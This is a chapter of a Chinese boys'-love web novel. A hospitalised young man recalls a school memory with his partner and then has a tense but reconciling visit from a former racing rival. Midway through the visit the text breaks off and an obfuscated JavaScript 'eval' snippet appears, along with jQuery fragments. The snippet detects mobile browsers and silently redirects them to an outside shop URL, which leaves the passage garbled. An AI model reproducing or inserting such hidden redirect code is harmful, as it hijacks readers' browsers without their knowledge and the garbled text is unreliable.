113.时光总说谎
作品:《那个直男突然弯了》 炎热的夏天,就算是到了下午,太阳照样猛烈。
陆竞野迷迷糊糊转醒,抬起手臂先在脸上盖了下进行缓和。
等上差不多一分钟把手臂拿开,一扭头,看到躺在离自己不远的靳迟。
他面对自己躺还在睡,就算睡着了还能看出疲惫。
外面的阳光太过猛烈,洒进来覆盖住靳迟半个身子,好在病房里空调很凉爽。
陆竞野动作很小心地往这边调整点,盯着靳迟看得很认。
脑子里,很多画面开始滚动交错,不一会儿,一帧帧重叠变得有些不真切起来。
“阿野,阿野。”
教室外走廊尽头,穿着校服的高大少年压着声音招呼。
陆竞野插着口袋停下脚步回头,看到躲在楼梯后的人探出脑袋对他挥手。
陆竞野咧嘴一笑打转,快速飞奔过去。
“干嘛?”陆竞野高兴询问。
靳迟把身子完全缩到墙后面,又对他招招手。
陆竞野来回看了看往前走几步,身影彻底隐藏在楼梯墙后。
陆竞野问他:“什么事儿?马上自习了。”
“饿不饿?”靳迟问的时候手从口袋掏出来。
陆竞野眼睛一亮:“汉堡。”一点没跟对方客气直接夺过来。
三两下扯开包装纸咬一口:“你什么时候出去的?怎么都不喊我一块?”说的话含糊不清。
靳迟靠在墙上看着他吃。
陆竞野两口就吃掉一大半:“我早就饿了,但今天班主任看得太紧,还说一会儿自习要模拟考,我都不敢出去。”把嘴里的咽下。
“你胆子真大,怎么混出去的?”
“我没出去。”靳迟说。
陆竞野表情茫然,没出去哪来的汉堡?
靳迟探出身子快速看一眼情况就缩回来,声音很小:“我托出去训练的体育生带回来的。”
“太够哥们了。”陆竞野又咬一口,想起来什么,“就买一个?”
“嗯。”
“你不饿吗?”陆竞野低头看眼自己手里就剩一小半的汉堡,递过去,“吃。”
“我不饿,你赶紧吃。”靳迟躲开说道。
陆竞野眼睛一眯,把手里剩下的强行送到靳迟嘴边:“嫌弃我是吧?”
汉堡的香味实在诱人,可靳迟就是能从这种香味儿里分辨出属于陆竞野的味道,呼吸乱了几拍。
“谁敢嫌弃你呀,我真不饿,赶紧吃。”
“我吃饱了。”陆竞野很执拗,手里的汉堡都贴在靳迟嘴边了,“就剩一小半,别磨叽,赶紧吃了垫吧垫吧。”
靳迟内心极为渴望,陆竞野又这么主动,他忍不住了。
借着陆竞野的手,两口把剩下的一小半吃掉。
陆竞野咧开唇瓣笑得很高兴。
靳迟吃掉汉堡,快速把他手里的包装纸夺过来,揉成一团塞进口袋。
仔细品尝嘴里的汉堡,不好意思再看陆竞野。
陆竞野诧异:“你耳朵怎么红了?”伸手就要去摸。
靳迟反应迅速扫开他的手:“有点热。”
“大哥,都入秋一个多月了,这会儿我都有点冷,你跟我说热?”陆竞野没心没肺地笑着说。
靳迟用手蹭一下唇瓣:“你管我,我火气大。”
“行行行,你火气大。”陆竞野说这句话的时候笑得不怀好意。
靳迟没办法跟他继续这个话题,从墙后面出来:“走了走了,一会儿还有模拟考。”
陆竞野追出来,小跑几步搂住靳迟脖子:“数学呀,我每次看卷子都脑袋空空,一会儿你要帮我。”
“怎么帮?”
“你到时候往边上坐,给我看看。”
“你当数学老师吃素的?他那双眼睛跟探照灯一样,不想活了?”
“我不管,你得救我,这次要不及格,我爸要请我吃七匹狼。”
靳迟笑出声,搓一把陆竞野的脑袋:“行,我尽量。”
“你在看什么?”带着沙哑地询问。
陆竞野眼前恍惚恢复清明,对面侧躺的靳迟已经醒来。
陆竞野没回答他的问题,只是在傻笑。
靳迟无奈,翻过身变成平躺闭闭眼睛,跟着也笑出声。
坐起来,撑着腿看向陆竞野那边:“你刚才眼睛发直,盯着我看了至少十分钟,还时不时傻乐一下。”
“我愿意。”
靳迟转过来下床:“能跟我分享一下吗?”
“什么?”
“刚才在想什么?”
陆竞野变成平躺,过会才说:“想到我们高一的时候,就那次晚自习之前,你让体育生偷摸带回来一个汉堡。”
陆竞野一开口,靳迟脑子里就有了画面,脸上表情很柔和。
陆竞野笑的胸膛震动:“答应晚上模拟考给我抄,结果咱们俩都让老李抓住,被赶出了教室。”说完转过来。
瞳孔很亮,眼尾晕染出一点红。
“诶我说,你那个时候是不是就已经喜欢我了?”
“嗯。”靳迟笑着点头。
陆竞野表情看上去有点得意:“我就知道。”嘴角怎么都压不下去。
“当时我就是太傻,开窍晚,现在回想痕迹实在太多,你当时吃我剩下的汉堡,耳朵红得都要滴血,还跟我说火气大。”
靳迟也难得有点臊得慌,笑着撇开头。
陆竞野看着靳迟目光移不开,笑容慢慢收敛。
靳迟察觉到看回去。
陆竞野变得很严肃:“你怎么那么傻呀。”
“什么?”
“一段都不知道有没有结果的感情,怎么就那么傻?怎么能一个人坚持那么久。”陆竞野声音很轻。
靳迟起身过来坐在凳子上,手臂交叠半趴在床边。
“我不这么觉得,何况我们现在在一起了,说明我的坚持是对的。”伸出手摸摸陆竞野脑袋,“你才是傻小子,整天想这些没用的。”
“阿迟。”
“嗯。”
“谢谢你爱我。”
“你难道不爱我吗?”靳迟问他。
陆竞野咧嘴一笑:“爱,最爱你。”
陆竞野在医院住了差不多一周,主治医生来查房的时候告知,明天可以办理出院,回家修养着就行。
这个消息对陆竞野来说太美好。
他真的在这个地方待够了。
先不说每天这么躺在病床上浑身难受,就说这充斥着消毒水味道的冰冷环境,让他浑身不舒服。
靳迟并不在病房,他去跟医院结算费用,该交或者该退,今天就处理好。
陆竞野一个人躺在病床上,后背痒痒都挠不到,只能来回扭动蹭一蹭,没什么用,让他心里烦躁。
病房门推开。
陆竞野撒娇道:“你可算回来了,迟哥快点,我快痒死了,快来给我挠挠。”说着话人已经翻到里面。
进来的人走到他身后,手从他病号服底下钻进去,摸到他后背。
陆竞野都闭上眼睛准备享受,瞬间睁开。
挥出完好的手臂把对方的手打开,更是动作激烈的翻过来,碰到骨折的手臂疼的一阵龇牙咧嘴躺回去。
“慢点。”来人也吓一跳,伸手要去扶。
陆竞野顾不上疼痛,满头大汗冷着脸把对方强势挡开,身子往相反的方向倾斜出去:“你来干什么?”
来人是凌厉风,他今天穿戴得很体面。
一只手还举在半空,另外一只手托着一把很大的花束。
凌厉风察觉到他冷漠跟抵触也没生气,浅笑着把手收回去:“来看看你。”
“谢了。”陆竞野很快又说,“现在看过,可以回去了。”
“对我不用这么冷漠吧?”凌厉风有点无奈。
不顾陆竞野冰冷的目光,把手里花束放下,在床边凳子坐下。
“我不管是跟靳迟还是跟你,一直就算不和睦也都只是对手关系,没做什么伤害你们的事吧?”
陆竞野
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17010382|191218||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
把头转到另外一边没理他。
凌厉风继续说:“我一直都挺想问你,你这么恨我因为什么?”
“单纯看你不顺眼,够吗?”
“也行。”凌厉风很包容地笑笑,跷起二郎腿,“恢复得还好吧?”
“嗯。”
“郭景龙没你命好,医生说,他那双腿基本废了,以后能站起来的几率很低。”凌厉风说得很直白。
陆竞野带着嘲讽:“你来就是想跟我说这个?一点都不需要。”
“不是。”
“那是什么?”陆竞野转过头,“来讨公道?”
“也不是。”
陆竞野拧着眉看着对方,没再说话。
凌厉风:“你知道,昨天警方已经把在医院的郭景龙监控起来了吗?”
“不知道。”陆竞野确实还没收到消息。
凌厉风表现得很无所谓:“我就是来跟你说一声,他得到报应跟教训了,虽然目前还在治疗中,但罪名一旦定下,他会被转移去监狱医院。”
“跟我无关。”
“你能这么想说明彻底放下,是好事。”凌厉风说着笑了笑。
陆竞野看着天花板没有理他。
凌厉风并不在意:“曹东跟你那个亲戚张明轩,曹东因为证据确凿,所以已经被批逮捕。”
“不过,他积极配合愿意做证,加上录音当事人也是他,所以能适当减刑。”
“他做错了事,得到教训应该的。”陆竞野说得很平淡。
凌厉风点头作为赞同,又说道:“郭景龙没那么好命,他做的那些事儿以及性质都更加恶劣。”
“现在还有你那个亲戚张明轩的指证,证明他企图买凶杀人。”
陆竞野冷笑声:“这是他应得的报应。”
凌厉风没反驳,在他最开始知道那些事的时候也很震惊。
他觉得,自己为了赢比赛已经够不择手段,没想到跟郭景龙一比,连小弟都算不上。
“疼得厉害吗?”凌厉风转移话题。
陆竞野敷衍:“还好,明天就能出院。”
凌厉风点点头:“那就好,没事是万幸。”不在乎陆竞野是什么态度。
目光灼灼落在他侧脸上。
“陆竞野,曾经我对你的喜欢是真的,没有一点玩弄成分,当然,只能说从一开始,我遇到你的时间就不对。”
陆竞野听到这才把目光施舍给他,眉头皱着明显不想听。
凌厉风不在乎:“我现在已经想明白,也放下了。”站起身,脸上笑容与过去确实很不同。
“郭景龙做的事儿全网都知道了,他也将为自己的所作所为付出代价,而赵磊,跟他有合作关系也跑不掉。”
陆竞野表现得很平静,这种结果,在他做出计划的时候就已经能想到。
“夜枭车队要说没受到牵连是假的,我这些年付诸的心血算是彻底毁了。”凌厉风哼笑着说。
“不过,倒是没有想象中那么难以接受,失败不可怕,反正还年轻,我有重来的勇气。”
“什么意思?”陆竞野斜眼看着凌厉风,“车队没了?”
“嗯,已经解散。”
陆竞野愣了下,他之前想象过这种场景。
他觉得自己会冷笑,会嘲讽,会落井下石,会把很多难听的话送给凌厉风。
可真到这一刻,他什么都说不出来。
把头撇开陷入沉默,过一会儿说:“你说得没错,还年轻,不缺重来的勇气,而且以你的能力,要让车队重新站起来也不是难事。”
看回凌厉风,敌意少了很多。
“严格上来说,你确实没做错任何事,如果非要说错,就是管理不当,让自己身边出现那么两个败类。”
“你能这么想我挺开心的。”凌厉风把手伸出去,“真心希望,以后我们还能有成为对手的机会,到那个时候,我依旧会全力以赴。”
陆竞野盯着他的手看了好一会儿,笑着把自己的手伸过去:“拭目以待。”

